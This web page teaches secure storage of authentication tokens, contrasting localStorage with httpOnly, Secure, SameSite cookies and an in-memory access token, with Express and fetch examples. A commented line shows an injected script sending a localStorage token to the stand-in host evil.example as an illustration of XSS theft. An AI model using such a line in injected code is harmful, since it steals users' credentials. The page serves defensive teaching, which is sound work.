Skip to main content
Saved

Pattern Security Advanced

Secure Token Storage

Authentication tokens are safest where JavaScript can’t read them. Session and refresh tokens go in httpOnly cookies with the Secure and SameSite flags, and a short-lived access token stays in memory, so an XSS attack has nothing long-lived to steal.

Examples
native web
Read
5 min

The problem

Say you ship a login flow where the server returns a JWT. The obvious thing to do is store it with localStorage.setItem('token', jwt), because it survives page reloads and your code can read it back for each request with localStorage.getItem('token').

The pattern

You can protect tokens by storing them somewhere JavaScript can’t read them. For session and refresh tokens, that’s an httpOnly cookie, which the browser stores and sends automatically but never exposes to document.cookie or any other script. Even if an attacker injects JavaScript into your page, it can’t read an httpOnly cookie, so there’s no token for it to steal.

Problem

Anything stored in localStorage or sessionStorage can be read by any JavaScript running on the page. That includes a malicious script injected through an XSS vulnerability or a compromised third-party analytics or ad tag. As soon as one of those scripts runs, it can call localStorage.getItem('token') to get your user’s credentials and send them to an attacker’s server with one line of code.

Once that token leaves the browser, the damage is hard to contain. An attacker with a valid token can call protected APIs as the user, and keep doing that long after the user has closed the tab, without the user ever knowing. Web storage has no permission check, and there’s no way to mark a value as off-limits to scripts. If your team just stores the JWT in localStorage, your users’ sessions are only safe as long as the page never has a single XSS bug or untrustworthy script, and that’s very hard to keep true as an app grows.

Solution

Two more cookie attributes add extra protection. With Secure, the browser only sends the cookie over HTTPS, so it can’t leak over an unencrypted connection. SameSite, set to Strict or Lax, controls whether the cookie is sent on cross-site requests, which blocks the most common form of CSRF. Because httpOnly cookies are sent automatically with every request to your origin, an attacker can still try to trick a logged-in user’s browser into making a request, so you need CSRF protection alongside this approach.

Only the server can set an httpOnly cookie, so this pattern needs changes on the server too. The server sets the cookie when the user logs in, the browser attaches it to each request after that, and the server reads it from the request headers to authenticate the user. The token never passes through JavaScript.

If your single-page app needs an access token in JavaScript, for example to send as an Authorization header to an API, the usual approach is the in-memory access token plus httpOnly refresh cookie pattern. A short-lived access token is kept in a plain variable in memory, never in web storage, and the long-lived refresh token goes in an httpOnly cookie. Once the access token expires, or the page reloads and clears the variable, the app calls a refresh endpoint. The browser sends the refresh cookie automatically, and the server sends back a new access token. An XSS attack can read the in-memory access token, but it’s only valid for a few minutes, and the attacker can never read the refresh token itself. Injected code can still call the refresh endpoint while it runs on the page, but once the user closes the tab, the attacker has nothing long-lived left to use.

Example

The first example shows the risky approach. The other two show the two parts of the safer setup, which are setting an httpOnly cookie on the server and keeping an access token in memory on the client.

The risky approach

Storing the token in localStorage is the approach to avoid, because any script on the page can read it.

// DON'T DO THIS. localStorage is readable by any JavaScript on the page,
// so a single XSS bug or compromised third-party script can steal the token.
localStorage.setItem('token', jwt);

// An injected attacker script needs just one line:
//   fetch('https://evil.example/steal?t=' + localStorage.getItem('token'));

Here’s an Express handler that sets an httpOnly cookie when the user logs in.

// Express route handler
app.post('/login', async (req, res) => {
  const user = await authenticate(req.body.email, req.body.password);
  if (!user) return res.status(401).json({ ok: false });

  const token = signSessionToken(user);

  res.cookie('session', token, {
    httpOnly: true,        // invisible to JavaScript, so XSS cannot read it
    secure: true,          // only sent over HTTPS
    sameSite: 'strict',    // not sent on cross-site requests (CSRF defense)
    maxAge: 1000 * 60 * 60, // expires in 1 hour
    path: '/',
  });

  res.json({ ok: true });
});

// On later requests the browser sends the cookie automatically.
// The server reads it from req.cookies.session (via the cookie-parser middleware)
// to authenticate.

Keeping the access token in memory

In a single-page app that calls an API with an Authorization header, the access token is kept in a closure variable, and the app uses the httpOnly cookie to get a new one in the background. Nothing long-lived is written to web storage.

// auth.js: the access token lives only in this closure variable,
// never in localStorage or sessionStorage.
let accessToken = null;

export function setAccessToken(token) {
  accessToken = token;
}

// Ask the server for a new access token. The httpOnly refresh cookie
// is sent automatically because of `credentials: 'include'`.
export async function refreshAccessToken() {
  const res = await fetch('/api/refresh', {
    method: 'POST',
    credentials: 'include',
  });
  if (!res.ok) throw new Error('Session expired');
  const { token } = await res.json();
  accessToken = token;
  return token;
}

// A fetch wrapper that attaches the in-memory token and refreshes once on 401.
export async function authedFetch(url, options = {}) {
  if (!accessToken) await refreshAccessToken();

  let res = await fetch(url, {
    ...options,
    headers: { ...options.headers, Authorization: `Bearer ${accessToken}` },
  });

  if (res.status === 401) {
    await refreshAccessToken();
    res = await fetch(url, {
      ...options,
      headers: { ...options.headers, Authorization: `Bearer ${accessToken}` },
    });
  }

  return res;
}

Benefits

  • JavaScript can’t read httpOnly cookies, so an XSS attack has no way to read the token straight out of storage.
  • Session and refresh tokens are sent automatically by the browser, so you don’t have to write code that attaches or stores them.
  • Adding Secure keeps tokens off unencrypted connections, and SameSite blocks the most common kind of CSRF attack with a single attribute.
  • With the access token in memory, an XSS attack can only steal a short-lived credential instead of a long-lived secret.
  • Injected scripts can never read the refresh token in an httpOnly cookie, so an attacker can’t steal it and keep getting new access tokens after the user leaves the page.
  • Reloading the page clears the in-memory token, so there’s no usable token left in storage for anyone to find later.
  • Standard server frameworks support this approach well, and setting a cookie with the right flags only takes a few lines of configuration.

Tradeoffs

  • httpOnly cookies can only be set by the server, so you need control over the backend and an authentication endpoint that issues them, which a purely static frontend doesn’t have.
  • Cookies are sent automatically with every request, so you also need CSRF protection, such as SameSite plus CSRF tokens or double-submit cookies, because an httpOnly cookie stops scripts from stealing the token but doesn’t stop forged requests.
  • The in-memory access token is lost on every page reload, so you have to build and maintain a silent refresh flow, which has more moving parts than a single localStorage.getItem.
  • Local development and debugging get harder, because Secure cookies need HTTPS and you can’t inspect or change the token in the console the way you can with web storage.
  • Browsers limit each cookie to around 4KB, so a large token, or one with many claims, can go over the limit and break requests in confusing ways.
  • If your API is on a different site from your frontend, you need SameSite=None; Secure and a correct CORS setup with credentials, which is easy to get subtly wrong.
  • Native mobile clients and non-browser consumers don’t get automatic cookie handling, so with a cookie-only approach, you might need a separate token flow for those clients.
  • JavaScript can still read the access token while it’s in memory, so you still need to prevent XSS with measures such as output encoding and a Content Security Policy (CSP).

Summary

You should never store long-lived authentication tokens in localStorage or sessionStorage, where any script on the page can read them. If you put session and refresh tokens in httpOnly cookies with the Secure and SameSite flags, JavaScript can’t read them and they’re protected in transit. In a single-page app, you can keep a short-lived access token in memory and use the cookie to get a new one when it expires. Because cookies are sent automatically, you should always pair this approach with CSRF protection.

See also

Next in Security Subresource Integrity Integrity hashes on external scripts and stylesheets let the browser check that the files haven't been tampered with.

Newsletter

A monthly email
from Den Odell.

Behind-the-scenes thinking on frontend patterns, site updates, and more.

No spam. Unsubscribe anytime.